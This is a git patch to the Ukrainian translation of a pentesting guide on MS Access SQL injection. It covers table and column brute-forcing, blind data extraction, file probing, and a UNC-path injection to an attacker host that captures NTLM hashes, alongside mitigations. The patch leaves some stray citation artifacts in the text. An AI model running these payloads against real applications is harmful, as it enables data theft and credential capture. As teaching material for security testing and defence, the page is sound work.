From 68451864cecdcca580cda20b13604991fd890a13 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 11 Jul 2025 10:08:24 +0000 Subject: [PATCH] Translated ['src/pentesting-web/sql-injection/ms-access-sql-injection.md --- .../sql-injection/ms-access-sql-injection.md | 87 ++++++++++++++----- 1 file changed, 65 insertions(+), 22 deletions(-) diff --git a/src/pentesting-web/sql-injection/ms-access-sql-injection.md b/src/pentesting-web/sql-injection/ms-access-sql-injection.md index ddce124eb..22c2943c9 100644 --- a/src/pentesting-web/sql-injection/ms-access-sql-injection.md +++ b/src/pentesting-web/sql-injection/ms-access-sql-injection.md @@ -4,7 +4,7 @@ ## Онлайн майданчик -- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1) +- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1) ## Обмеження БД @@ -25,7 +25,7 @@ ```sql 1' UNION SELECT 1,2 FROM table WHERE ''=' ``` -### Складені запити +### Stacked Queries Вони не підтримуються. @@ -41,14 +41,14 @@ У SQLi ви зазвичай хочете якимось чином виконати новий запит, щоб витягти інформацію з інших таблиць. MS Access завжди вимагає, щоб у **підзапитах або додаткових запитах був вказаний `FROM`**.\ Отже, якщо ви хочете виконати `UNION SELECT` або `UNION ALL SELECT` або `SELECT` в дужках у умові, вам завжди **необхідно вказати `FROM` з дійсною назвою таблиці**.\ -Отже, вам потрібно знати **дійсну назву таблиці**. +Тому вам потрібно знати **дійсну назву таблиці**. ```sql -1' UNION SELECT username,password from users%00 ``` ### Chaining equals + Substring > [!WARNING] -> Це дозволить вам ексфільтрувати значення поточної таблиці, не знаючи назви таблиці. +> Це дозволить вам ексфільтрувати значення поточної таблиці без необхідності знати назву таблиці. **MS Access** дозволяє **незвичний синтаксис** такий як **`'1'=2='3'='asd'=false`**. Як зазвичай, SQL-ін'єкція буде всередині **`WHERE`** клаузи, і ми можемо це зловживати. @@ -62,9 +62,9 @@ ``` _Не соромтеся перевірити це в онлайн-плейграунді._ -### Брутфорсинг імен таблиць +### Брутфорс назв таблиць -Використовуючи техніку зв'язування рівних, ви також можете **брутфорсити імена таблиць** з чимось на зразок: +Використовуючи техніку ланцюгового рівності, ви також можете **брутфорсити назви таблиць** з чимось на кшталт: ```sql '=(select+top+1+'lala'+from+)=' ``` @@ -75,11 +75,11 @@ _Не соромтеся перевірити це в онлайн-плейгр _Не соромтеся перевірити це в онлайн-плейграунді._ - Sqlmap загальні назви таблиць: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt) -- Є ще один список у [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) +- Є ще один список в [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) -### Брутфорсинг назв стовпців +### Брутфорсинг назв колонок -Ви можете **брутфорсити поточні назви стовпців** за допомогою трюку з ланцюговими рівностями з: +Ви можете **брутфорсити поточні назви колонок** за допомогою трюку з ланцюговими рівностями з: ```sql '=column_name=' ``` @@ -95,15 +95,25 @@ _Не соромтеся перевірити це в онлайн-плейгр ``` ### Вивантаження даних -Ми вже обговорювали [**техніку з'єднання рівних**](ms-access-sql-injection.md#chaining-equals-+-substring) **для вивантаження даних з поточної та інших таблиць**. Але є й інші способи: +Ми вже обговорювали [**техніку з'єднання рівно**](ms-access-sql-injection.md#chaining-equals-+-substring) **для вивантаження даних з поточної та інших таблиць**. Але є й інші способи: ```sql IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko') ``` -В загальному, запит використовує оператор "if-then" для активації "200 OK" у випадку успіху або "500 Internal Error" в іншому випадку. Використовуючи оператор TOP 10, можна вибрати перші десять результатів. Подальше використання LAST дозволяє розглянути лише 10-й кортеж. На такому значенні, використовуючи оператор MID, можна виконати просте порівняння символів. Правильно змінюючи індекс MID і TOP, ми можемо вивантажити вміст поля "username" для всіх рядків. +У двох словах, запит використовує оператор "if-then", щоб викликати "200 OK" у випадку успіху або "500 Internal Error" в іншому випадку. Використовуючи оператор TOP 10, можна вибрати перші десять результатів. Подальше використання LAST дозволяє врахувати лише 10-й кортеж. На такому значенні, використовуючи оператор MID, можна виконати просте порівняння символів. Правильно змінюючи індекс MID і TOP, ми можемо вивантажити вміст поля "username" для всіх рядків. -### Time Based +### Часові (Сліпі) Трюки -Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN]() +Jet/ACE SQL сам по собі **не** надає рідну функцію `SLEEP()` або `WAITFOR`, тому традиційні сліпі ін'єкції на основі часу обмежені. Однак ви все ще можете ввести вимірювальну затримку, змусивши движок отримати **мережевий ресурс, який повільний або не відповідає**. Оскільки движок спробує відкрити файл перед поверненням результату, час відповіді HTTP відображає затримку до хоста, контрольованого зловмисником. +```sql +' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'-- +``` +Вкажіть UNC шлях до: + +* SMB спільного доступу за високошвидкісним з'єднанням +* хоста, який скидає TCP рукопожаття після `SYN-ACK` +* вогневого стовпа + +Додаткові секунди, введені віддаленим запитом, можуть бути використані як **вимірювальний оракул поза каналом** для булевих умов (наприклад, вибрати повільний шлях лише тоді, коли ін'єкований предикат істинний). Microsoft документує поведінку віддаленої бази даних та пов'язаний реєстровий вимикач у KB5002984. citeturn1search0 ### Інші цікаві функції @@ -111,8 +121,8 @@ Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v= - `LEN('1234')` отримати довжину рядка - `ASC('A')` отримати ASCII значення символу - `CHR(65)` отримати рядок з ASCII значення -- `IIF(1=1,'a','b')` якщо то -- `COUNT(*)` підрахувати кількість елементів +- `IIF(1=1,'a','b')` якщо тоді +- `COUNT(*)` Підрахувати кількість елементів ## Перерахування таблиць @@ -126,21 +136,21 @@ and MSysObjects.name not like '~*' and MSysObjects.name not like 'MSys*' order by MSysObjects.name ``` -Однак зверніть увагу, що дуже типово знаходити SQL-ін'єкції, коли ви **не маєте доступу для читання таблиці `MSysObjects`**. +Однак зверніть увагу, що дуже типово знаходити SQL-ін'єкції, коли у вас **немає доступу для читання таблиці `MSysObjects`**. ## Доступ до файлової системи ### Повний шлях до кореневої директорії веб-сайту -Знання **абсолютного шляху до кореневої директорії веб-сайту може полегшити подальші атаки**. Якщо помилки програми не повністю приховані, шлях до директорії може бути виявлений, намагаючись вибрати дані з неіснуючої бази даних. +Знання **абсолютного шляху до кореневої директорії веб-сайту може полегшити подальші атаки**. Якщо помилки програми не повністю приховані, шлях до директорії можна виявити, намагаючись вибрати дані з неіснуючої бази даних. -`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` +`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` MS Access відповідає **повідомленням про помилку, що містить повний шлях до веб-директорії**. ### Перерахування файлів -Наступний вектор атаки може бути використаний для **виведення існування файлу на віддаленій файловій системі**. Якщо вказаний файл існує, MS Access викликає повідомлення про помилку, що інформує про те, що формат бази даних є недійсним: +Наступний вектор атаки може бути використаний для **виявлення існування файлу на віддаленій файловій системі**. Якщо вказаний файл існує, MS Access викликає повідомлення про помилку, що інформує про те, що формат бази даних є недійсним: `http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00` @@ -150,18 +160,51 @@ MS Access відповідає **повідомленням про помилк ### Вгадування імені файлу .mdb -**Ім'я файлу бази даних (.mdb)** можна вивести за допомогою наступного запиту: +**Ім'я файлу бази даних (.mdb)** можна виявити за допомогою наступного запиту: `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00` -Де **name\[i] є іменем файлу .mdb** і **realTable є існуючою таблицею** в базі даних. Хоча MS Access завжди викликає повідомлення про помилку, можливо відрізнити недійсне ім'я файлу від дійсного імені файлу .mdb. +Де **name[i] - це ім'я файлу .mdb** і **realTable - це існуюча таблиця** в базі даних. Хоча MS Access завжди викликатиме повідомлення про помилку, можливо відрізнити недійсне ім'я файлу від дійсного імені файлу .mdb. -### Крадій паролів .mdb +### Доступ до віддаленої бази даних та крадіжка облікових даних NTLM (2023) + +Оскільки Jet 4.0, кожен запит може посилатися на таблицю, розташовану в *іншому* файлі `.mdb/.accdb` за допомогою клаузи `IN ''`: +```sql +SELECT first_name FROM Employees IN '\\server\share\hr.accdb'; +``` +Якщо введення користувача конкатенується в частині після **IN** (або в `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` виклику), зловмисник може вказати **UNC шлях**, який вказує на хост, який вони контролюють. Двигун буде: + +1. намагатися аутентифікуватися через SMB / HTTP, щоб відкрити віддалену базу даних; +2. витікати **NTLM облікові дані** веб-сервера (примусова аутентифікація); +3. аналізувати віддалений файл – неправильно сформована або шкідлива база даних може викликати помилки пам'яті Jet/ACE, які були виправлені кілька разів (наприклад, CVE-2021-28455). + +Практичний приклад ін'єкції: +```sql +1' UNION SELECT TOP 1 name +FROM MSysObjects +IN '\\attacker\share\poc.mdb'-- - +``` +Вплив: + +* Витік Net-NTLMv2 хешів (можна використовувати для реле або офлайн-ламання). +* Потенційне віддалене виконання коду, якщо буде використано нову уразливість парсера Jet/ACE. + +Заходи пом'якшення (рекомендується навіть для застарілих Classic ASP додатків): + +* Додайте значення реєстру `AllowQueryRemoteTables = 0` під `HKLM\Software\Microsoft\Jet\4.0\Engines` (і під відповідним шляхом ACE). Це змушує Jet/ACE відхиляти віддалені шляхи, що починаються з `\\`. +* Блокуйте вихідний SMB/WebDAV на межі мережі. +* Очищайте / параметризуйте будь-яку частину запиту, яка може потрапити в клаузу `IN`. + +Вектор примусової аутентифікації був повторно розглянутий Check Point Research у 2023 році, доводячи, що він все ще може бути використаний на повністю патчених Windows Server, коли ключ реєстру відсутній. citeturn0search0 + +### .mdb Password Cracker [**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) - це безкоштовна утиліта, яка може бути використана для відновлення основного пароля бази даних Microsoft Access 95/97/2000/XP або Jet Database Engine 3.0/4.0. ## Посилання - [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) +- [Microsoft KB5002984 – Налаштування Jet/ACE для блокування віддалених таблиць](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544) +- [Check Point Research – Зловживання пов'язаними таблицями Microsoft Access для примусової аутентифікації NTLM (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/) {{#include ../../banners/hacktricks-training.md}}